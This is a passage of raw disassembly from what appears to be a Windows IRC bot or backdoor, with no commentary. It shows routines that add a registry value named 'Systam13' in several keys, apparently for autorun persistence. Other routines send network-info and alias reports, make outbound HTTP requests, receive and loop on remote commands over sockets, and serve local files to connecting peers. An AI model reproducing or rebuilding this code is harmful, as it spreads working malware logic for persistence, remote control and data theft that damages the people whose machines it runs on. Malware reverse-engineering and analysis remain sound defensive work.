lea eax, [ebp+var_8]
jz short loc_40BA0E
push offset dword_42D044
loc_40BA04: ; CODE XREF: sub_40B9A1+72j
push eax
call sub_416FB6
pop ecx
pop ecx
jmp short loc_40BA34
; ---------------------------------------------------------------------------
loc_40BA0E: ; CODE XREF: sub_40B9A1+5Cj
push offset dword_42D040
jmp short loc_40BA04
; ---------------------------------------------------------------------------
loc_40BA15: ; CODE XREF: sub_40B9A1+28j
mov esi, offset off_42D03C
lea eax, [ebp+var_8]
push esi
push eax
call sub_416FB6
lea eax, [ebp+var_8C]
push esi
push eax
call sub_416FB6
add esp, 10h
loc_40BA34: ; CODE XREF: sub_40B9A1+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AD08
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h
push [ebp+arg_0]
call sub_41752A
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_40B9A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA67 proc near ; DATA XREF: sub_40EC43+4981o
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
xor esi, esi
mov edi, 80h
inc esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset asc_42D1A8 ; "*/*"
call sub_417030
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_417030
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_417030
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_417030
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_417030
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_43EA2C ; InternetCrackUrlA
test eax, eax
jz loc_40BC07
cmp [ebp+var_34], ebx
jbe short loc_40BB3E
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_418910
add esp, 0Ch
loc_40BB3E: ; CODE XREF: sub_40BA67+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_40BB5C
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_418910
add esp, 0Ch
loc_40BB5C: ; CODE XREF: sub_40BA67+DEj
cmp [ebp+var_20], ebx
jbe short loc_40BB76
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_418910
add esp, 0Ch
loc_40BB76: ; CODE XREF: sub_40BA67+F8j
cmp [ebp+var_18], ebx
jbe short loc_40BB90
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_418910
add esp, 0Ch
loc_40BB90: ; CODE XREF: sub_40BA67+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_43EAD4
call dword_43EAF8 ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_40BC1D
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_43EAEC ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_40BC24
push ebx
push ebx
push ebx
push ebx
push eax
call dword_43EAA0 ; HttpSendRequestA
test eax, eax
lea eax, [ebp+var_55C]
jz short loc_40BC00
push offset unk_42D174
jmp short loc_40BC2F
; ---------------------------------------------------------------------------
loc_40BC00: ; CODE XREF: sub_40BA67+190j
push offset unk_42D120
jmp short loc_40BC2F
; ---------------------------------------------------------------------------
loc_40BC07: ; CODE XREF: sub_40BA67+B7j
lea eax, [ebp+var_55C]
push offset unk_42D0EC
push eax
call sub_416FB6
mov esi, [ebp+var_C]
jmp short loc_40BC35
; ---------------------------------------------------------------------------
loc_40BC1D: ; CODE XREF: sub_40BA67+153j
push offset unk_42D0A8
jmp short loc_40BC29
; ---------------------------------------------------------------------------
loc_40BC24: ; CODE XREF: sub_40BA67+17Bj
push offset unk_42D060
loc_40BC29: ; CODE XREF: sub_40BA67+1BBj
lea eax, [ebp+var_55C]
loc_40BC2F: ; CODE XREF: sub_40BA67+197j
; sub_40BA67+19Ej
push eax
call sub_416FB6
loc_40BC35: ; CODE XREF: sub_40BA67+1B4j
cmp [ebp+var_1D4], ebx
pop ecx
pop ecx
jnz short loc_40BC62
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_40D476
add esp, 14h
loc_40BC62: ; CODE XREF: sub_40BA67+1D6j
lea eax, [ebp+var_55C]
push eax
call sub_40BD8D
pop ecx
push esi
call dword_43EB58 ; InternetCloseHandle
push [ebp+var_4]
call dword_43EB58 ; InternetCloseHandle
push [ebp+var_1D8]
call sub_416D90
pop ecx
push ebx
call dword_423054 ; ExitThread
pop edi
pop esi
pop ebx
sub_40BA67 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BC95 proc near ; CODE XREF: sub_40EC43+4447p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_4437E8
mov edi, 0B8h
loc_40BCA9: ; CODE XREF: sub_40BC95+33j
cmp byte ptr [esi], 0
jz short loc_40BCCC
push [ebp+arg_0]
push esi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_40BCCC
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_444368
jl short loc_40BCA9
jmp short loc_40BD0E
; ---------------------------------------------------------------------------
loc_40BCCC: ; CODE XREF: sub_40BC95+17j
; sub_40BC95+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_4437E8[esi]
push ebx
call sub_417030
push 17h
push [ebp+arg_0]
push ebx
call sub_418910
push 9Fh
lea eax, dword_443800[esi]
push [ebp+arg_4]
push eax
call sub_418910
add esp, 24h
inc dword_4306F8
pop ebx
loc_40BD0E: ; CODE XREF: sub_40BC95+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_40BC95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD15 proc near ; CODE XREF: sub_40EC43+5B0Ep
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset aAliasList ; "-[Alias List]-"
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 14h
xor edi, edi
mov esi, offset dword_4437E8
loc_40BD3F: ; CODE XREF: sub_40BD15+72j
cmp byte ptr [esi], 0
jz short loc_40BD7A
lea eax, [esi+18h]
push eax
push esi
push edi
push offset aD_SS ; "%d. %s = %s"
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41752A
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 2Ch
loc_40BD7A: ; CODE XREF: sub_40BD15+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_444368
jl short loc_40BD3F
pop edi
pop esi
leave
retn
sub_40BD15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD8D proc near ; CODE XREF: sub_401000+97p
; sub_4010B2+32Cp ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call dword_42306C ; GetLocalTime
mov ebx, offset dword_442EE0
mov edi, 80h
mov esi, offset dword_43EEE0
loc_40BDAF: ; CODE XREF: sub_40BD8D+3Dj
cmp byte ptr [ebx], 0
jz short loc_40BDC6
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_418910
add esp, 0Ch
loc_40BDC6: ; CODE XREF: sub_40BD8D+25j
sub ebx, edi
cmp ebx, esi
jge short loc_40BDAF
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41752A
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_40BD8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BE01 proc near ; CODE XREF: sub_407A23+148p
; sub_407BAA+15Cp ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_4190FF
lea eax, [ebp+var_80]
push eax
call sub_40BD8D
add esp, 14h
leave
retn
sub_40BE01 endp
; =============== S U B R O U T I N E =======================================
sub_40BE2D proc near ; CODE XREF: sub_40EC43+5A06p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_43EEE0
xor ecx, ecx
loc_40BE34: ; CODE XREF: sub_40BE2D+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_442EE0
jl short loc_40BE34
cmp [esp+arg_C], ecx
jnz short loc_40BE62
push ecx
push [esp+4+arg_8]
push offset dword_42D21C
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_40D476
add esp, 14h
loc_40BE62: ; CODE XREF: sub_40BE2D+19j
push offset dword_42D1EC
call sub_40BD8D
pop ecx
retn
sub_40BE2D endp
; =============== S U B R O U T I N E =======================================
sub_40BE6E proc near ; CODE XREF: sub_402DB1+2AEp
arg_0 = dword ptr 4
push esi
mov esi, offset dword_43EEE0
loc_40BE74: ; CODE XREF: sub_40BE6E+27j
cmp byte ptr [esi], 0
jz short loc_40BE89
push [esp+4+arg_0]
push esi
call sub_40A79F
pop ecx
test eax, eax
pop ecx
jnz short loc_40BE9B
loc_40BE89: ; CODE XREF: sub_40BE6E+9j
add esi, 80h
cmp esi, offset dword_442EE0
jl short loc_40BE74
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40BE9B: ; CODE XREF: sub_40BE6E+19j
xor eax, eax
pop esi
inc eax
retn
sub_40BE6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BEA0 proc near ; DATA XREF: sub_40EC43+5AB9o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
xor edx, edx
rep movsd
xor edi, edi
mov [ebp+var_8], 80h
inc edi
cmp [ebp+var_10], edx
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_40BEF3
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_42D280
push eax
push [ebp+var_11C]
call sub_40D476
add esp, 14h
loc_40BEF3: ; CODE XREF: sub_40BEA0+33j
cmp [ebp+var_98], 0
jz short loc_40BF13
lea eax, [ebp+var_98]
push eax
call sub_41751F
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_40BF13
mov [ebp+var_8], eax
loc_40BF13: ; CODE XREF: sub_40BEA0+5Aj
; sub_40BEA0+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_43EEE0
loc_40BF1C: ; CODE XREF: sub_40BEA0+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_40BF76
cmp byte ptr [esi], 0
jz short loc_40BF65
cmp [ebp+var_98], 0
jz short loc_40BF4B
cmp [ebp+var_4], 0
jnz short loc_40BF4B
lea eax, [ebp+var_98]
push eax
push esi
call sub_40A79F
pop ecx
test eax, eax
pop ecx
jz short loc_40BF65
loc_40BF4B: ; CODE XREF: sub_40BEA0+90j
; sub_40BEA0+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_40D476
add esp, 14h
loc_40BF65: ; CODE XREF: sub_40BEA0+87j
; sub_40BEA0+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_442EE0
jl short loc_40BF1C
loc_40BF76: ; CODE XREF: sub_40BEA0+82j
lea eax, [ebp+var_31C]
push offset unk_42D24C
push eax
call sub_416FB6
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_40BFB0
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_40D476
add esp, 14h
loc_40BFB0: ; CODE XREF: sub_40BEA0+EEj
lea eax, [ebp+var_31C]
push eax
call sub_40BD8D
push [ebp+var_18]
call sub_416D90
pop ecx
pop ecx
push esi
call dword_423054 ; ExitThread
pop edi
pop esi
sub_40BEA0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFCF proc near ; CODE XREF: sub_40AA70+1Ep
; sub_40E48A+334p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov ebx, offset aSystam13 ; "Systam13"
loc_40BFDF: ; CODE XREF: sub_40BFCF+6Aj
lea eax, [ebp+var_4]
push edi
push eax
push edi
push 0F003Fh
push edi
push edi
push edi
push off_42D2B0[esi]
push dword_42D2AC[esi]
call dword_43EAD8 ; RegCreateKeyExA
cmp [ebp+arg_0], edi
jz short loc_40C020
push [ebp+arg_0]
call sub_4177B0
pop ecx
push eax
push [ebp+arg_0]
push 1
push edi
push ebx
push [ebp+var_4]
call dword_43EB48 ; RegSetValueExA
jmp short loc_40C02A
; ---------------------------------------------------------------------------
loc_40C020: ; CODE XREF: sub_40BFCF+33j
push ebx
push [ebp+var_4]
call dword_43EA90 ; RegDeleteValueA
loc_40C02A: ; CODE XREF: sub_40BFCF+4Fj
push [ebp+var_4]
call dword_43EB00 ; RegCloseKey
add esi, 8
cmp esi, 18h
jb short loc_40BFDF
pop edi
pop esi
pop ebx
leave
retn
sub_40BFCF endp
; =============== S U B R O U T I N E =======================================
sub_40C040 proc near ; CODE XREF: sub_40C079+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
or esi, 0FFFFFFFFh
test edi, edi
jz short loc_40C072
mov ecx, 0FFh
push ebx
loc_40C057: ; CODE XREF: sub_40C040+2Fj
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_423290[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_40C057
pop ebx
loc_40C072: ; CODE XREF: sub_40C040+Fj
mov eax, esi
pop edi
not eax
pop esi
retn
sub_40C040 endp
; =============== S U B R O U T I N E =======================================
sub_40C079 proc near ; CODE XREF: sub_40C90D+23Fp
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_417889
mov [esp+10h+var_10], offset aRb ; "rb"
push [esp+10h+arg_0]
mov esi, eax
call sub_4176A8
mov edi, eax
pop ecx
test edi, edi
pop ecx
jnz short loc_40C0C4
loc_40C09E: ; CODE XREF: sub_40C079+37j
xor eax, eax
jmp short loc_40C0E5
; ---------------------------------------------------------------------------
loc_40C0A2: ; CODE XREF: sub_40C079+4Fj
inc ebx
push ebx
push esi
call sub_41914F
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40C09E
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_418786
add esp, 10h
loc_40C0C4: ; CODE XREF: sub_40C079+23j
test byte ptr [edi+0Ch], 10h
jz short loc_40C0A2
dec ebx
push ebx
push esi
call sub_40C040
push esi
mov ebx, eax
call sub_41793B
push edi
call sub_417600
add esp, 10h
mov eax, ebx
loc_40C0E5: ; CODE XREF: sub_40C079+27j
pop edi
pop esi
pop ebx
retn
sub_40C079 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C0E9 proc near ; CODE XREF: sub_40C16F+33p
; sub_40C6D2+BCp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_43EBA4 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_40C165
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_43EB24 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_43EB64 ; inet_addr
cmp eax, esi
jnz short loc_40C14A
push [ebp+arg_0]
call dword_43EBA8 ; gethostbyname
test eax, eax
jz short loc_40C165
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_40C14A: ; CODE XREF: sub_40C0E9+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_43EACC ; connect
cmp eax, esi
jnz short loc_40C169
push edi
call dword_43EBBC ; closesocket
loc_40C165: ; CODE XREF: sub_40C0E9+1Bj
; sub_40C0E9+58j
mov eax, esi
jmp short loc_40C16B
; ---------------------------------------------------------------------------
loc_40C169: ; CODE XREF: sub_40C0E9+73j
mov eax, edi
loc_40C16B: ; CODE XREF: sub_40C0E9+7Ej
pop edi
pop esi
leave
retn
sub_40C0E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C16F proc near ; DATA XREF: sub_40EC43+A26o
var_11B4 = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_417830
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push [ebp+var_14]
xor esi, esi
inc esi
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_40C0E9
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_40C202
lea eax, [ebp+var_11B4]
push offset dword_42D34C
push eax
call sub_416FB6
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40C1E5
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40D476
add esp, 14h
loc_40C1E5: ; CODE XREF: sub_40C16F+59j
lea eax, [ebp+var_11B4]
push eax
call sub_40BD8D
push [ebp+var_10]
call sub_416D90
pop ecx
pop ecx
push esi
call dword_423054 ; ExitThread
loc_40C202: ; CODE XREF: sub_40C16F+3Fj
push offset byte_43BCE8
push ebx
call sub_40B398
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_40C26D
lea eax, [ebp+var_11B4]
push offset dword_42D30C
push eax
call sub_416FB6
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40C249
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40D476
add esp, 14h
loc_40C249: ; CODE XREF: sub_40C16F+BDj
lea eax, [ebp+var_11B4]
push eax
call sub_40BD8D
pop ecx
push ebx
call dword_43EBBC ; closesocket
push [ebp+var_10]
call sub_416D90
pop ecx
push esi
call dword_423054 ; ExitThread
loc_40C26D: ; CODE XREF: sub_40C16F+A3j
push 64h
call dword_423064 ; Sleep
xor edi, edi
mov esi, 1000h
loc_40C27C: ; CODE XREF: sub_40C16F+168j
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_11B4]
push edi
push esi
push eax
push ebx
call dword_43EB3C ; recv
test eax, eax
jle short loc_40C2D9
lea eax, [ebp+var_11B4]
push offset asc_4296D4 ; "\n"
push eax
call sub_4176D0
lea eax, [ebp+var_11B4]
push eax
call sub_40B184
add esp, 0Ch
test eax, eax
jz short loc_40C2D9
push 64h
call dword_423064 ; Sleep
push 7
call sub_416CBC
test eax, eax
pop ecx
jnz short loc_40C27C
loc_40C2D9: ; CODE XREF: sub_40C16F+130j
; sub_40C16F+154j
lea eax, [ebp+var_11B4]
push offset dword_42D2C8
push eax
call sub_416FB6
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_40C30C
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40D476
add esp, 14h
loc_40C30C: ; CODE XREF: sub_40C16F+180j
lea eax, [ebp+var_11B4]
push eax
call sub_40BD8D
pop ecx
push ebx
call dword_43EBBC ; closesocket
push [ebp+var_10]
call sub_416D90
pop ecx
push edi
call dword_423054 ; ExitThread
sub_40C16F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C330 proc near ; DATA XREF: sub_40EC43+4A8Bo
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
xor ebx, ebx
xor esi, esi
inc ebx
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_10], esi
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_43EBA4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_40C37E
push offset dword_42D4D0
jmp loc_40C537
; ---------------------------------------------------------------------------
loc_40C37E: ; CODE XREF: sub_40C330+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call dword_43EB24 ; htons
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_43EB50 ; bind
test eax, eax
jz short loc_40C3BC
push offset dword_42D49C
jmp loc_40C537
; ---------------------------------------------------------------------------
loc_40C3BC: ; CODE XREF: sub_40C330+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call dword_43EAC8 ; getsockname
push [ebp+var_2E]
call dword_43EA60 ; htons
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_4177B0
pop ecx
loc_40C3EE: ; CODE XREF: sub_40C330+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_40C401
push 5Fh
pop eax
jmp short loc_40C404
; ---------------------------------------------------------------------------
loc_40C401: ; CODE XREF: sub_40C330+CAj
movsx eax, al
loc_40C404: ; CODE XREF: sub_40C330+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_4177B0
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_40C3EE
push ebx
push edi
call dword_43EB4C ; listen
test eax, eax
jz short loc_40C437
push offset dword_42D34C
jmp loc_40C537
; ---------------------------------------------------------------------------
loc_40C437: ; CODE XREF: sub_40C330+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
call dword_423084 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_40C461
push offset dword_42D46C
jmp loc_40C537
; ---------------------------------------------------------------------------
loc_40C461: ; CODE XREF: sub_40C330+125j
push esi
push eax
call dword_4230A4 ; GetFileSize
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40AD08
pop ecx
push eax
call dword_43EB64 ; inet_addr
push eax
call dword_43EB20 ; htonl
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_42D454
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_40D476
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_43EB0C ; select
test eax, eax
jg short loc_40C511
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_42D42C
push eax
push [ebp+var_1FC]
call sub_40D476
jmp loc_40C635
; ---------------------------------------------------------------------------
loc_40C511: ; CODE XREF: sub_40C330+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_43EBB8 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_40C54A
push offset dword_42D3F8
loc_40C537: ; CODE XREF: sub_40C330+49j
; sub_40C330+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_416FB6
pop ecx
pop ecx
jmp loc_40C638
; ---------------------------------------------------------------------------
loc_40C54A: ; CODE XREF: sub_40C330+200j
push edi
call dword_43EBBC ; closesocket
cmp [ebp+arg_0], esi
jz loc_40C5FC
mov edi, 400h
loc_40C55F: ; CODE XREF: sub_40C330+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_40C56C
mov [ebp+var_4], eax
loc_40C56C: ; CODE XREF: sub_40C330+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_417030
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call dword_4230C0 ; SetFilePointer
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call dword_423074 ; ReadFile
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_43EB74 ; send
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_43EB3C ; recv
cmp eax, ebx
jl loc_40C691
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_40C691
sub [ebp+arg_0], eax
jnz loc_40C55F
mov edi, [ebp+var_18]
loc_40C5FC: ; CODE XREF: sub_40C330+224j
push [ebp+var_8]
call dword_423078 ; CloseHandle
